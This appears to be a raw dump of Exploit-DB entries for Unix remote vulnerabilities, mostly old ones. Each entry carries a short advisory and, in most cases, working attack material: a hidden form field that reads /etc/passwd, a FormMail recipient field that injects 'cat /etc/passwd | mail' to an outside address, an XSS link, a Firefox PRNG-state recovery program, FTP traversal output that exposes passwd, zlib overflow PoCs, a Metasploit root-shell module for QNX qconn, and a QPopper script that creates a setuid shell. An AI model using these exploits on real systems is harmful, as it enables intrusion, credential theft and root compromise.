deardaniel/secdata-raw huggingface dataset:
Exploit-DB #19620
Description: Matt Wright - 'FormHandler.cgi' 2.0 Reply Attachment
Type: remote
Platform: unix
Date: 1999-11-16
Author: m4rcyS

Exploit:
source: https://www.securityfocus.com/bid/799/info

Any file that the FormHandler.cgi has read access to (the cgi is typically run as user 'nobody' on Unix systems) can be specified as an attachment in a reply email. This could allow an attacker to gain access to sensitive files such as /etc/passwd simply by modifying the form document. 

@ALLOWED_ATTACH_DIRS = ('all'); # hmm, nice defaults ;)
@RESTRICTED_ATTACH_DIRS = ('/etc/');
[...]

if (&valid_directory($filename)) { # let's check if file is allowed
push(@files, $filename); [...] } # to send
[...]

sub valid_directory {
local ($filename) = $_[0];
local ($allowed_path, $restricted_path);
local($valid_dir) = 0;
if ($ALLOWED_ATTACH_DIRS[0] =~ /^all$/i) { $valid_dir = 1 }
else {
foreach $allowed_path (@ALLOWED_ATTACH_DIRS) {
$valid_dir = ($filename =~ /^$allowed_path/); # silly ...
last if $valid_dir;
}
}
foreach $restricted_path (@RESTRICTED_ATTACH_DIRS) {
$valid_dir = ($filename !~ /^$restricted_path/); # once more
last if !$valid_dir;
}
return $valid_dir;
}
[...]

How to d/l /etc/passwd ? Just add this to the form:
<INPUT TYPE="hidden" NAME="reply_message_attach"
VALUE="text:/tmp/../etc/passwd">
Exploit-DB #20486
Description: Matt Wright FormMail 1.x - Cross-Site Request Forgery
Type: remote
Platform: unix
Date: 1997-01-01
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/2080/info

FormMail is a widely-used web-based e-mail gateway, which allows form-based input to be emailed to a specified user.

A web server can use a remote site's FormMail script without authorization, using remote system resources or exploiting other vulnerabilities in the script. For example, this issue can be used to exploit BID 2079, "Matt Wright FormMail Remote Command Execution Vulnerability". 

<html><head><title>hack</title></head>
<body><form method="post" action="http://remote.target.host/cgi-bin/formmail.pl">
<input type="hidden" name="recipient" value="me@mymail.host; cat /etc/passwd | mail me@mymail.host">
<input type="submit" name="submit" value="submit">
</form></body></html>
Exploit-DB #21682
Description: Mozilla 1.0/1.1 - FTP View Cross-Site Scripting
Type: remote
Platform: unix
Date: 2002-08-06
Author: Eiji James Yoshida

Exploit:
source: https://www.securityfocus.com/bid/5403/info

A cross-site scripting vulnerability in Mozilla has been reported. When viewing the contents of a FTP site as web content from a ftp:// URL, the directory name is included in the HTML representation. It is not adequately sanitized before this occurs. An attacker may embed javascript as this value between opening and closing "<title>" tags in a FTP URL.

<a href="ftp://[FTPserver]/#%3C%2ftitle%3E%3Cscript%3Ealert(%22exploit%22);%3C%2fscript%3E">Exploit</a>

Example:
<a href="ftp://ftp.mozilla.org/#%3C%2ftitle%3E%3Cscript%3Ealert(%22exploit%22);%3C%2fscript%3E">Exploit</a>
Exploit-DB #34621
Description: Mozilla Firefox 3.6.8 - 'Math.random()' Cross Domain Information Disclosure
Type: remote
Platform: unix
Date: 2010-09-14
Author: Amit Klein

Exploit:
// source: https://www.securityfocus.com/bid/43222/info

Mozilla Firefox is prone to a cross-domain information-disclosure vulnerability.

An attacker can exploit this issue by tricking an unsuspecting victim into viewing a page containing malicious content.

Successful exploits will allow attackers to bypass the same-origin policy and obtain potentially sensitive information; other attacks are possible. 

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
typedef unsigned long long int uint64;
typedef unsigned int uint32;
#define UINT64(x) (x##ULL)
#define a UINT64(0x5DEECE66D)
#define b UINT64(0xB)
uint64 adv(uint64 x)
{
      return (a*x+b) & ((UINT64(1)<<48)-1);
}
unsigned int  calc(double sample,uint64* state)
{
      int v;
      uint64  sample_int=sample*((double)(UINT64(1)<<53));
      uint32  x1=sample_int>>27;
      uint32  x2=sample_int & ((1<<27)-1);
      uint32  out;
      if ((sample>=1.0) || (sample<0.0))
      {
            // Error - bad input
            return 1;
      }
      for (v=0;v<(1<<22);v++)
      {
            *state=adv((((uint64)x1)<<22)|v);
            out=((*state)>>(48-27))&((1<<27)-1);
            if (out==x2)
            {
                   return 0;
            }
      }
      // Could not find PRNG internal state
      return 2;
}
int main(int argc, char* argv[])
{
      char body[1000]="";
char head[]="\
      <html>\
      <body>\
      <script>\
      document.write('userAgent: '+navigator.userAgent);\
      </script>\
      <br>\
      ";
char tail[]="\
      <form method='GET' onSubmit='f()'>\
      <input type='hidden' name='r'>\
      <input id='x' type='submit' name='dummy'\
            value='Calculate Firefox 3.6.4-3.6.8 PRNG state'>\
      </form>\
      <script>\
      function f()\
      {\
            document.forms[0].r.value=Math.random();\
      }\
      </script>\
      </body>\
      </html>\
      ";
char tail2[]="\
      </body>\
      </html>\
      ";
double r;
char msg[1000];
int rc;
uint64 state;
strcat(body,head);
if (strstr(getenv("QUERY_STRING"),"r=")!=NULL)
{
      sscanf(getenv("QUERY_STRING"),"r=%lf",&r);
      rc=calc(r,&state);
      if (rc==0)
      {
            sprintf(msg,"PRNG state (hex): %012llx\n",state);
            strcat(body,msg);
      }
      else
      {
            sprintf(msg,"Error in calc(): %d\n",rc);
            strcat(body,msg);
      }
      strcat(body,tail2);
}
else
{
      strcat(body,tail);
}
printf("Content-Type: text/html\r\n");
printf("Content-Length: %d\r\n",strlen(body));
  printf("Cache-Control: no-cache\r\n");
  printf("\r\n");
  printf("%s",body);
  return;
}
Exploit-DB #32399
Description: Multiple Vendor FTP Server - Long Command Handling Security
Type: remote
Platform: unix
Date: 2008-09-20
Author: Maksymilian Arciemowicz

Exploit:
source: https://www.securityfocus.com/bid/31289/info

FTP servers by multiple vendors are prone to a security vulnerability that allows attackers to perform cross-site request-forgery attacks.

Successful exploits can run arbitrary FTP commands on the server in the context of an unsuspecting user's session. This may lead to further attacks. 

ftp://user@example.com////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////syst

ftp://ftp.example.com/////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////////////SITE%20CHMOD%20777%20EXAMPLEFILE
Exploit-DB #22085
Description: MySQL 3.23.x/4.0.x - COM_CHANGE_USER Password Memory Corruption
Type: remote
Platform: unix
Date: 2002-12-12
Author: Stefan Esser

Exploit:
source: https://www.securityfocus.com/bid/6375/info

MySQL is prone to a memory corruption vulnerability in the COM_CHANGE_USER command. 

Due to a lack of sufficient bounds checking for client responses to password authentication challenges, it may be possible to corrupt sensitive regions of memory. It has been reported that it is possible to overwrite the saved instruction pointer on the stack with bytes generated by the random number generator of the password verification algorithm. Theoretically, an attacker could leverage such a condition to cause execution of arbitrary code in the security context of the MySQL server process.

It is believed the attacker must be able to issue a COM_CHANGE_USER command to exploit this issue, so having access to a valid database user account may be a prerequisite for exploitation. It is not known if this condition exists when an unauthenticated user attempts to authenticate normally.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22085.tgz
Exploit-DB #20046
Description: Netscape Professional Services FTP Server (LDAP Aware) 1.3.6 - FTP Server
Type: remote
Platform: unix
Date: 2000-06-21
Author: Michael Zalewski

Exploit:
source: https://www.securityfocus.com/bid/1411/info

Certain versions of the LDAP-aware Netscape Professional Services FTP Server (distributed with Enterprise Web Server) have a serious vulnerability which may lead to a remote or local root compromise. The vulnerability in essence is a failure of of the FTP server to enforce a restricted user environment (chroot). By failing to do this an FTP (anonymous or otherwise) user may download any file on the system (/etc/passwd etc.) as well as upload files at will at the privilege level of the FTP daemon.

Furthermore (quoted from the original attached message) this FTP server supports LDAP users; different LDAP accounts are served on single physical UID. This means, any user can access and eventually overwrite files on other accounts; as it's used in cooperation with webserver, typically virtual web servers are affected. 

$ ftp ftp.XXXX.xxx
Connected to ftp.XXXX.xxx.
220-FTP Server - Version 1.36 - (c) 1999 Netscape Professional Services
220 You will be logged off after 1200 seconds of inactivity.
Name (ftp.XXXX.xxx:lcamtuf): anonymous
331 Anonymous user OK, send e-mail address as password.
Password:
230 Logged in OK
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> cd ../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/n/o/n/anonymous/dupa" because No such
file or directory

[Well... this won't work... uh, lovely physical path, btw ;]

ftp> cd /../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/n/dupa" because No such file or
directory
ftp> cd /../../../../dupa
550 Can't change directory to
"/www1/customer/www.XXXX.xxx/a/dupa" because
No such file or directory

[Erm? Good God!]

ftp> cd /../../../../../../../../etc/dupa
550 Can't change directory to "/etc/dupa" because No such file or
directory
ftp> cd /../../../../../../../../etc/
250 CWD command successful.
ftp> get /../../../../../../../../etc/passwd KUKU
local: KUKU remote: /../../../../../../../../etc/passwd
200 PORT successfull, connected to A.B.C.D port 62437
150-Type of object is "unknown/unknown". Transfer MODE is BINARY.
150 Opening data connection
226 File downloaded successfully (602 bytes, 602 bytes xmitted)
602 bytes received in 1.71 secs (0.34 Kbytes/sec)
ftp> quit
221-Goodbye. You uploaded 0 and downloaded 1 kbytes.
221 CPU time spent on you: 0.100 seconds.

$ cat KUKU
root:x:0:1:Super-User:/:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
...
Exploit-DB #20879
Description: OpenServer 5.0.5/5.0.6 / HP-UX 10/11 / Solaris 2.6/7.0/8 - rpc.yppasswdd Buffer Overrun
Type: remote
Platform: unix
Date: 2001-05-10
Author: metaray

Exploit:
source: https://www.securityfocus.com/bid/2763/info

The rpc.yppasswdd server is used to handle password change requests from yppasswd and modify the NIS password file.

A buffer overrun vulnerability has been discovered in the rpc.yppasswdd utility distributed by multiple vendors. The problem occurs due to insufficient bounds checking before copying remotely-supplied user information into a static memory buffer. As a result, a malicious user may be capable of exploiting this issue to overwrite sensitive locations in memory and thus execute arbitrary code with superuser privileges. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20879.tar.gz
Exploit-DB #21314
Description: OpenSSH 2.x/3.0.1/3.0.2 - Channel Code Off-by-One
Type: remote
Platform: unix
Date: 2002-03-07
Author: Morgan

Exploit:
source: https://www.securityfocus.com/bid/4241/info

OpenSSH is a suite implementing the SSH protocol. It includes client and server software, and supports ssh and sftp. It was initially developed for BSD, but is also widely used for Linux, Solaris, and other UNIX-like operating systems.

A vulnerability has been announced in some versions of OpenSSH. An off-by-one error occurs in the channel code. A malicious client may exploit this vulnerability by connecting to a vulnerable server. Valid credentials are believed to be required, since the exploitable condition reportedly occurs after successful authentication. An examination of the code suggests this, but it has not been confirmed by the maintainer.

Administrators should assume that this can be exploited without authentication and should patch vulnerable versions immediately. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21314.tgz
Exploit-DB #21579
Description: OpenSSH 3.x - Challenge-Response Buffer Overflow (2)
Type: remote
Platform: unix
Date: 2002-06-24
Author: Gobbles Security

Exploit:
source: https://www.securityfocus.com/bid/5093/info
 
The OpenSSH team has reported two vulnerabilities in OpenSSH that are remotely exploitable and may allow for unauthenticated attackers to obtain root privileges.
 
The conditions are related to the OpenSSH SSH2 challenge-response mechanism. They occur when the OpenSSH server is configured at compile time to support BSD_AUTH or SKEY. OpenBSD 3.0 and later ship with OpenSSH built to support BSD_AUTH. Systems are vulnerable when either of the following configuration options are enabled:
 
PAMAuthenticationViaKbdInt
ChallengeResponseAuthentication
 
Attackers can exploit the vulnerabilities by crafting a malicious response. Since this occurs before the authentication process completes, remote attackers without valid credentials may exploit this. Successful exploits may result in the execution of shellcode or a denial of service.
 
OpenSSH 3.4 addresses the problem. Upgrading to this version will eliminate the vulnerabilities. Administrators who cannot install OpenSSH 3.4 should upgrade to version 3.3 and enable the privilege-separation feature.
 
Proof-of-concept code has been made public. Users are advised to upgrade immediately.
 
**UPDATE: One of these issues is trivially exploitable and is still present in OpenSSH 3.5p1 and 3.4p1. Although these reports have not been confirmed, administrators are advised to implement the OpenSSH privilege-separation feature as a workaround. BSD administrators are also advised to upgrade to the newest kernel versions because recently patched vulnerabilities may allow root compromise despite the use of the privilege-separation feature. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21579.tar.gz
Exploit-DB #21574
Description: Pirch IRC 98 Client - Malformed Link Buffer Overrun
Type: remote
Platform: unix
Date: 2002-06-21
Author: David Rude II

Exploit:
source: https://www.securityfocus.com/bid/5079/info

Pirch is subject to a buffer overflow condition. The overrun occurs if a user receives on a maliciously constructed link. It is not confirmed whether the user must first click on the link or not. This issue is the result of inadequate bounds checking on externally supplied data. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21574.zip
Exploit-DB #31634
Description: Python zlib Module - Remote Buffer Overflow
Type: remote
Platform: unix
Date: 2008-04-09
Author: Justin Ferguson

Exploit:
source: https://www.securityfocus.com/bid/28715/info

Python zlib module is prone to a remote buffer-overflow vulnerability because the library fails to properly sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary code with the privileges of the user running an application that relies on the affected library. Failed exploit attempts will result in a denial-of-service condition.

This issue affects Python 2.5.2; other versions may also be vulnerable. 

python-2.5.2-zlib-unflush-misallocation.py
------------------------------------------
#!/usr/bin/python

import zlib

msg = """
Desire to know why, and how, curiosity; such as is in no living creature
        but man:
so that man is distinguished, not only by his reason, but also by this
        singular passion
from other animals; in whom the appetite of food, and other pleasures of
        sense, by
predominance, take away the care of knowing causes; which is a lust of
        the mind,
that by a perseverance of delight in the continual and indefatigable
generation of knowledge, exceedeth the short vehemence of any carnal
        pleasure.
"""

compMsg = zlib.compress(msg)
bad = -24
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg)
decompObj.flush(bad)

	
python-2.5.2-zlib-unflush-signedness.py:
----------------------------------------
#!/usr/bin/python

import zlib

msg = """
Society in every state is a blessing, but government even in its best
        state is but a necessary evil
in its worst state an intolerable one; for when we suffer, or are
        exposed to the same miseries by a
government, which we might expect in a country without government, our
        calamities is heightened by
reflecting that we furnish the means by which we suffer! Government,
        like dress, is the badge of
lost innocence; the palaces of kings are built on the ruins of the
        bowers of paradise. For were
the impulses of conscience clear, uniform, and irresistibly obeyed, man
        would need no other
lawgiver; but that not being the case, he finds it necessary to
        surrender up a part of his property
to furnish means for the protection of the rest; and this he is induced
        to do by the same prudence which
in every other case advises him out of two evils to choose the least.
        Wherefore, security being the true
design and end of government, it unanswerably follows that whatever form
        thereof appears most likely to
ensure it to us, with the least expense and greatest benefit, is
        preferable to all others.
""" * 1024

compMsg = zlib.compress(msg)
bad = -2
decompObj = zlib.decompressobj()
decompObj.decompress(compMsg, 1)
decompObj.flush(bad)
Exploit-DB #21852
Description: QNX QCONN - Remote Command Execution (Metasploit)
Type: remote
Platform: unix
Date: 2012-10-10
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info={})
		super(update_info(info,
			'Name'           => "QNX QCONN Remote Command Execution Vulnerability",
			'Description'    => %q{
				This module exploits a vulnerability in the qconn component of
				QNX Neutrino which can be abused to allow unauthenticated users to
				execute arbitrary commands under the context of the 'root' user.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'David Odell', # Discovery
					'Mor!p3r <moriper[at]gmail.com>', # PoC
					'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
				],
			'References'     =>
				[
					['EDB',   '21520'],
					['URL',   'http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos'],
					['URL',   'http://www.qnx.com/developers/docs/6.3.0SP3/neutrino/utilities/q/qconn.html'],
				],
			'Payload'        =>
				{
					'BadChars'    => '',
					'DisableNops' => true,
					'Compat'      =>
						{
							'PayloadType' => 'cmd_interact',
							'ConnectionType' => 'find',
						},
				},
			'DefaultOptions'  =>
				{
					'WfsDelay' => 10,
					'PAYLOAD'  => 'cmd/unix/interact',
				},
			'Platform'       => 'unix',    # QNX Neutrino
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					# Tested on QNX Neutrino 6.5 SP1
					['Automatic Targeting', { 'auto' => true }]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Sep 4 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(8000)
			], self.class)
	end

	def check

		@peer = "#{rhost}:#{rport}"

		# send check
		fingerprint = Rex::Text.rand_text_alphanumeric(rand(8)+4)
		print_status("#{@peer} - Sending check")
		connect
		req  = "service launcher\n"
		req << "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
		sock.put(req)
		res  = sock.get
		disconnect

		# check response
		if    res and res =~ /#{fingerprint}/
			return Exploit::CheckCode::Vulnerable
		elsif res and res =~ /QCONN/
			return Exploit::CheckCode::Detected
		else
			return Exploit::CheckCode::Unknown
		end

	end

	def exploit

		@peer = "#{rhost}:#{rport}"

		# send payload
		req  = "service launcher\n"
		req << "start/flags run /bin/sh -\n"
		print_status("#{@peer} - Sending payload (#{req.length} bytes)")
		connect
		sock.put(req)
		res  = sock.get

		# check response
		if res and res =~ /No controlling tty/
			print_good("#{@peer} - Payload sent successfully")
		else
			print_error("#{@peer} - Sending payload failed")
		end
		handler
		disconnect

	end
end
Exploit-DB #21185
Description: QPopper 4.0.x - PopAuth Trace File Shell Command Execution
Type: remote
Platform: unix
Date: 2001-12-18
Author: IhaQueR

Exploit:
source: https://www.securityfocus.com/bid/3710/info

Qpopper is a freely available, open source Post Office Protocol server. It is maintained and distributed by Qualcomm.

When popauth is executed with the trace option, it does not correctly handle user-supplied input. A user can supply data to the popauth program through the trace flag which will cause the program to execute shell commands, and follow symbolic links.

This problem could be exploited to gain privilege elevation equal to that of the setuid bit on popauth, typically setuid as the pop user. 

#!/bin/bash

# popauth symlink follow vuln by IhaQueR
# this will create .bashrc for user pop
# and ~pop/sup suid shell

FILE=$(perl -e 'print "/tmp/blah1\"\ncd ~\necho >blah.c \"#include <stdio.h>\nmain(){setreuid(geteuid(),getuid());execlp(\\\"bash\\\", \\\"bash\\\",NULL);}\"\ngcc blah.c -o sup\nchmod u+s sup\necho done\n\n\""')

ln -s /var/lib/pop/.bashrc "$FILE"

/usr/sbin/popauth -trace "$FILE"